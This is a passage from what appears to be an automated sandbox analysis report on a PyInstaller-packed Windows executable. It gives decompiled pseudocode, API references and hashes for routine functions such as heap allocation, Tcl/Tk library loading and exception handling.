				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 9;
				E00007FF77FF7DA8E9D00();
				return 9;
			}



                                                                                                                              0x7ff7da8e6a94
                                                                                                                              0x7ff7da8e6a99
                                                                                                                              0x7ff7da8e6a9e
                                                                                                                              0x7ff7da8e6ab1
                                                                                                                              0x7ff7da8e6ab3
                                                                                                                              0x7ff7da8e6abd
                                                                                                                              0x7ff7da8e6abf
                                                                                                                              0x7ff7da8e6adb

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 12e0e53eb4cc63a95771bdcd00f2c9527e1bc8f393490eaab8484543856046e8
                                                                                                                              • Instruction ID: c9fb58995f72a8cc0afb13b08d901c09a5809cbaba3d4bece707ed9d478f25b1
                                                                                                                              • Opcode Fuzzy Hash: 12e0e53eb4cc63a95771bdcd00f2c9527e1bc8f393490eaab8484543856046e8
                                                                                                                              • Instruction Fuzzy Hash: 97119032918642C6F302BB10E84052DE7A5FB94340FC504B6DA5E876A3DF3EEA318720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EDC90 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 37%
                                                                                                                              			E00007FF77FF7DA8EDC90(void* __eax, signed int __rcx, signed int __rdx) {
				void* __rbx;
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0xda8edcaf;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0xda8edcf2;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0xda8edcd6;
				if (E00007FF77FF7DA8E8A3C() == 0) goto 0xda8edcf2;
				if (E00007FF77FF7DA8F2600(_t22,  ==  ? _t22 : __rcx * __rdx,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0xda8edcf2;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0xda8edcc1;
				goto 0xda8edcff;
				E00007FF77FF7DA8E4394(_t22);
				 *_t22 = 0xc;
				return 0;
			}






                                                                                                                              0x7ff7da8edc90
                                                                                                                              0x7ff7da8edc9f
                                                                                                                              0x7ff7da8edca3
                                                                                                                              0x7ff7da8edca3
                                                                                                                              0x7ff7da8edcad
                                                                                                                              0x7ff7da8edcbb
                                                                                                                              0x7ff7da8edcbf
                                                                                                                              0x7ff7da8edcc8
                                                                                                                              0x7ff7da8edcd4
                                                                                                                              0x7ff7da8edce5
                                                                                                                              0x7ff7da8edcee
                                                                                                                              0x7ff7da8edcf0
                                                                                                                              0x7ff7da8edcf2
                                                                                                                              0x7ff7da8edcf7
                                                                                                                              0x7ff7da8edd04

                                                                                                                              APIs
                                                                                                                              • RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7DA8EA806,?,?,?,00007FF7DA8E99C3,?,?,00000000,00007FF7DA8E9C5E), ref: 00007FF7DA8EDCE5
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279760036-0
                                                                                                                              • Opcode ID: 0fa1f60e180c30099cd92909c4dd9370885fd91a8a3bc9aba6531de80905ccc9
                                                                                                                              • Instruction ID: f9cb75b86dfed081d1e5178051efa6ceb2dd92a86c613ca8f2524a4e5c97fcbb
                                                                                                                              • Opcode Fuzzy Hash: 0fa1f60e180c30099cd92909c4dd9370885fd91a8a3bc9aba6531de80905ccc9
                                                                                                                              • Instruction Fuzzy Hash: 62F04F62B0D24780FE56765659003BCD2807FA8B80FCC04B2CD1E863C3ED6DE6A88230
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8ECA1C Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 37%
                                                                                                                              			E00007FF77FF7DA8ECA1C(intOrPtr* __rax, void* __rcx) {
				void* __rbx;

				if (__rcx - 0xffffffe0 > 0) goto 0xda8eca67;
				_t16 =  ==  ? __rax : __rcx;
				goto 0xda8eca4e;
				if (E00007FF77FF7DA8E8A3C() == 0) goto 0xda8eca67;
				if (E00007FF77FF7DA8F2600(__rax,  ==  ? __rax : __rcx,  ==  ? __rax : __rcx) == 0) goto 0xda8eca67;
				RtlAllocateHeap(??, ??, ??); // executed
				if (__rax == 0) goto 0xda8eca39;
				goto 0xda8eca74;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0xc;
				return 0;
			}




                                                                                                                              0x7ff7da8eca29
                                                                                                                              0x7ff7da8eca33
                                                                                                                              0x7ff7da8eca37
                                                                                                                              0x7ff7da8eca40
                                                                                                                              0x7ff7da8eca4c
                                                                                                                              0x7ff7da8eca5a
                                                                                                                              0x7ff7da8eca63
                                                                                                                              0x7ff7da8eca65
                                                                                                                              0x7ff7da8eca67
                                                                                                                              0x7ff7da8eca6c
                                                                                                                              0x7ff7da8eca79

                                                                                                                              APIs
                                                                                                                              • RtlAllocateHeap.NTDLL(?,?,?,00007FF7DA8DFD94,?,?,?,00007FF7DA8E12A6,?,?,?,?,?,00007FF7DA8E2899), ref: 00007FF7DA8ECA5A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AllocateHeap
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279760036-0
                                                                                                                              • Opcode ID: a265fdf41e77f0447e092e6d79a5f46e27da0a7cb5c73acac927124eec024155
                                                                                                                              • Instruction ID: b41c0a37077bb6284fdc9a78119566284772b6a1d620986c26f86d0f709e1859
                                                                                                                              • Opcode Fuzzy Hash: a265fdf41e77f0447e092e6d79a5f46e27da0a7cb5c73acac927124eec024155
                                                                                                                              • Instruction Fuzzy Hash: 15F05E91F1D24784FA66B6A1580167CD1807F64BA0FC806B2DD3E852C3ED2DA6709270
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D72A0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DirectoryErrorLastRemove
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 377330604-0
                                                                                                                              • Opcode ID: 59c9fcf1866f692c94e07a1b8768299e38a87715b608ffe401450eed44505d19
                                                                                                                              • Instruction ID: 628479387acb4f51b5a31ab6afa37b9d467664bb39dca219d4f72dc578c56ba5
                                                                                                                              • Opcode Fuzzy Hash: 59c9fcf1866f692c94e07a1b8768299e38a87715b608ffe401450eed44505d19
                                                                                                                              • Instruction Fuzzy Hash: F9419616D186C685FB12AB24D5112FDA360FBA4784FD49273EF8D12153EF2CA2D9C320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Non-executed Functions

                                                                                                                              Function 00007FF7DA8D55B0 Relevance: 166.5, APIs: 31, Strings: 64, Instructions: 287libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 40%
                                                                                                                              			E00007FF77FF7DA8D55B0(long long __rax, void* __rcx) {
				void* __rbx;
				long long _t11;
				void* _t12;
				void* _t22;
				void* _t23;

				_t11 = __rax;
				_t12 = __rcx;
				E00007FF77FF7DA8D7120(__rax, __rcx, __rcx + 0x10);
				 *((long long*)(_t12 + 0x4048)) = _t11;
				E00007FF77FF7DA8D7120(_t11, _t12, _t12 + 0x1010);
				 *((long long*)(_t12 + 0x4050)) = _t11;
				if ( *((intOrPtr*)(_t12 + 0x4048)) == 0) goto 0xda8d55fa;
				if (_t11 == 0) goto 0xda8d55fa;
				goto 0xda8d5f30;
				E00007FF77FF7DA8D2770(_t11, "LOADER: Failed to load tcl/tk libraries\n", _t11, _t22, _t23);
				return 0xffffffff;
			}








                                                                                                                              0x7ff7da8d55b0
                                                                                                                              0x7ff7da8d55b6
                                                                                                                              0x7ff7da8d55bd
                                                                                                                              0x7ff7da8d55c9
                                                                                                                              0x7ff7da8d55d0
                                                                                                                              0x7ff7da8d55dc
                                                                                                                              0x7ff7da8d55e6
                                                                                                                              0x7ff7da8d55eb
                                                                                                                              0x7ff7da8d55f5
                                                                                                                              0x7ff7da8d5601
                                                                                                                              0x7ff7da8d5610

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$LibraryLoad
                                                                                                                              • String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$LOADER: Failed to load tcl/tk libraries$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                                                                                              • API String ID: 2238633743-1453502826
                                                                                                                              • Opcode ID: a7ac00ce1a7fdfc215a9c78db55a5cef2ac37261bb2bde1204b0c918028e9db3
                                                                                                                              • Instruction ID: f2b463c7de1490def46a89682daebeacc028d11f25010ee1b5407c8b22949631
                                                                                                                              • Opcode Fuzzy Hash: a7ac00ce1a7fdfc215a9c78db55a5cef2ac37261bb2bde1204b0c918028e9db3
                                                                                                                              • Instruction Fuzzy Hash: B9E1D9A4A19B0388FE1BAB14A85017CE3A5BF65754FD864B7CC0E46396EF7CA524C330
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
                                                                                                                              • String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
                                                                                                                              • API String ID: 2446303242-1601438679
                                                                                                                              • Opcode ID: 4520ec83f770e6a2a936c389ad8bea2580ac62345c30f60f61398c95f5315d36
                                                                                                                              • Instruction ID: a96727584f35de9f401e892ccd9f57b91ab936ec9510a9ea568401378a703689
                                                                                                                              • Opcode Fuzzy Hash: 4520ec83f770e6a2a936c389ad8bea2580ac62345c30f60f61398c95f5315d36
                                                                                                                              • Instruction Fuzzy Hash: 11A15836208B8286E7149F21E58479EF360F788B90F90452AEF8D03B25DF3DE169CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F311C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 68%
                                                                                                                              			E00007FF77FF7DA8F311C(void* __edx, void* __rbx, unsigned int __rcx, signed int __rdx, void* __rdi, void* __rsi, long long __r9, void* __r12, void* __r14, void* __r15) {
				signed long long _t33;
				void* _t46;
				void* _t48;
				void* _t49;
				signed long long _t50;
				long long _t55;

				_t46 = __rdi;
				_t48 = _t49 - 0x6f0;
				_t50 = _t49 - 0x7f0;
				_t33 =  *0xda90d008; // 0xde4e6c2f3c2e
				 *(_t48 + 0x6e0) = _t33 ^ _t50;
				_t55 =  *((intOrPtr*)(_t48 + 0x750));
				 *(_t50 + 0x50) = __rcx;
				 *((long long*)(_t48 - 0x78)) = _t55;
				 *((long long*)(_t48 - 0x68)) = __r9;
				 *((intOrPtr*)(_t50 + 0x64)) = r8d;
				E00007FF77FF7DA8F70E0(_t50 + 0x70);
				r15d = 1;
				if (( *(_t50 + 0x70) & 0x0000001f) != 0x1f) goto 0xda8f3187;
				 *((char*)(_t50 + 0x78)) = 0;
				goto 0xda8f3196;
				E00007FF77FF7DA8F7158(( *(_t50 + 0x70) & 0x0000001f) - 0x1f, _t50 + 0x70);
				 *((intOrPtr*)(_t50 + 0x78)) = r15b;
				 *((long long*)(__r9 + 8)) = _t55;
				_t15 = _t46 + 0xd; // 0x2d
				_t22 =  <  ? _t15 : 0x20;
				r8d = 0;
				 *((intOrPtr*)(__r9)) =  <  ? _t15 : 0x20;
				E00007FF77FF7DA8F707C(0, _t33 ^ _t50, _t48 - 0x80);
				if (( *(_t50 + 0x50) >> 0x00000034 & __rdx) != 0) goto 0xda8f31fe;
			}









                                                                                                                              0x7ff7da8f311c
                                                                                                                              0x7ff7da8f3127
                                                                                                                              0x7ff7da8f312f
                                                                                                                              0x7ff7da8f3136
                                                                                                                              0x7ff7da8f3140
                                                                                                                              0x7ff7da8f3147
                                                                                                                              0x7ff7da8f3151
                                                                                                                              0x7ff7da8f315d
                                                                                                                              0x7ff7da8f3161
                                                                                                                              0x7ff7da8f3165
                                                                                                                              0x7ff7da8f316a
                                                                                                                              0x7ff7da8f3173
                                                                                                                              0x7ff7da8f317e
                                                                                                                              0x7ff7da8f3180
                                                                                                                              0x7ff7da8f3185
                                                                                                                              0x7ff7da8f318c
                                                                                                                              0x7ff7da8f3191
                                                                                                                              0x7ff7da8f31a2
                                                                                                                              0x7ff7da8f31aa
                                                                                                                              0x7ff7da8f31ad
                                                                                                                              0x7ff7da8f31b0
                                                                                                                              0x7ff7da8f31b5
                                                                                                                              0x7ff7da8f31bd
                                                                                                                              0x7ff7da8f31db

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                                                                                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                              • API String ID: 808467561-2761157908
                                                                                                                              • Opcode ID: 163807cb9bb2cfd3318ad9cc1b6ca9da72a0ab60671b70bc257b12fde946ee6f
                                                                                                                              • Instruction ID: f0aab24055e079bf9e1fd74ed322384af0d7ff8ff29a826f2e57f86b5b56a68e
                                                                                                                              • Opcode Fuzzy Hash: 163807cb9bb2cfd3318ad9cc1b6ca9da72a0ab60671b70bc257b12fde946ee6f
                                                                                                                              • Instruction Fuzzy Hash: 7CB2E372E182838BF7669E64D4407FDB7A1FB64388FC011B6DE1957A86DB3CA910CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7420 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7447
                                                                                                                              • FormatMessageW.KERNEL32(00000000,00007FF7DA8D26A0), ref: 00007FF7DA8D7476
                                                                                                                              • WideCharToMultiByte.KERNEL32 ref: 00007FF7DA8D74CC
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastMessage$ByteCharFormatMultiWide
                                                                                                                              • String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
                                                                                                                              • API String ID: 2920928814-2573406579
                                                                                                                              • Opcode ID: bd063840465bb7cc99fd3a25d537acc863a05dd4e60a717c5e3fbe49c0d7532d
                                                                                                                              • Instruction ID: 5a7c27fef208a1a9cff3b26512da5d08b443e15766ce1ddde922e919ffc0e07c
                                                                                                                              • Opcode Fuzzy Hash: bd063840465bb7cc99fd3a25d537acc863a05dd4e60a717c5e3fbe49c0d7532d
                                                                                                                              • Instruction Fuzzy Hash: 91217171A08A4385FB62BF11E84026DEB61BF98384FC40076D94D826A6EF3CD169C720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DB5FC Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3140674995-0
                                                                                                                              • Opcode ID: dd2dcb170d6567bc53123a0d73701bc7f87a75e011af16bca6432f566aef9732
                                                                                                                              • Instruction ID: 0650c1f7b5603d4fb26fce2de871b29d64dc747542ea88c3f944cf97d4b79e62
                                                                                                                              • Opcode Fuzzy Hash: dd2dcb170d6567bc53123a0d73701bc7f87a75e011af16bca6432f566aef9732
                                                                                                                              • Instruction Fuzzy Hash: C1315272608B828AFF61AF60E8403EDB364FB94754F84443ADA8E47795DF38D558C720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E9A34 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 65%
                                                                                                                              			E00007FF77FF7DA8E9A34(void* __ecx, intOrPtr __edx, long long __rbx, long long __rsi) {
				void* _t36;
				int _t38;
				signed long long _t60;
				long long _t63;
				_Unknown_base(*)()* _t82;
				void* _t86;
				void* _t87;
				void* _t89;
				signed long long _t90;
				struct _EXCEPTION_POINTERS* _t95;

				 *((long long*)(_t89 + 0x10)) = __rbx;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t87 = _t89 - 0x4f0;
				_t90 = _t89 - 0x5f0;
				_t60 =  *0xda90d008; // 0xde4e6c2f3c2e
				 *(_t87 + 0x4e0) = _t60 ^ _t90;
				if (__ecx == 0xffffffff) goto 0xda8e9a73;
				E00007FF77FF7DA8DB5F4(_t36);
				r8d = 0x98;
				E00007FF77FF7DA8DC170();
				r8d = 0x4d0;
				E00007FF77FF7DA8DC170();
				 *((long long*)(_t90 + 0x48)) = _t90 + 0x70;
				_t63 = _t87 + 0x10;
				 *((long long*)(_t90 + 0x50)) = _t63;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t63 == 0) goto 0xda8e9b06;
				 *(_t90 + 0x38) =  *(_t90 + 0x38) & 0x00000000;
				 *((long long*)(_t90 + 0x30)) = _t90 + 0x58;
				 *((long long*)(_t90 + 0x28)) = _t90 + 0x60;
				 *((long long*)(_t90 + 0x20)) = _t87 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t87 + 0x108)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x70)) = __edx;
				 *((long long*)(_t87 + 0xa8)) = _t87 + 0x510;
				 *((long long*)(_t87 - 0x80)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x74)) = r8d;
				_t38 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t82, _t86);
				if (UnhandledExceptionFilter(_t95) != 0) goto 0xda8e9b68;
				if (_t38 != 0) goto 0xda8e9b68;
				if (__ecx == 0xffffffff) goto 0xda8e9b68;
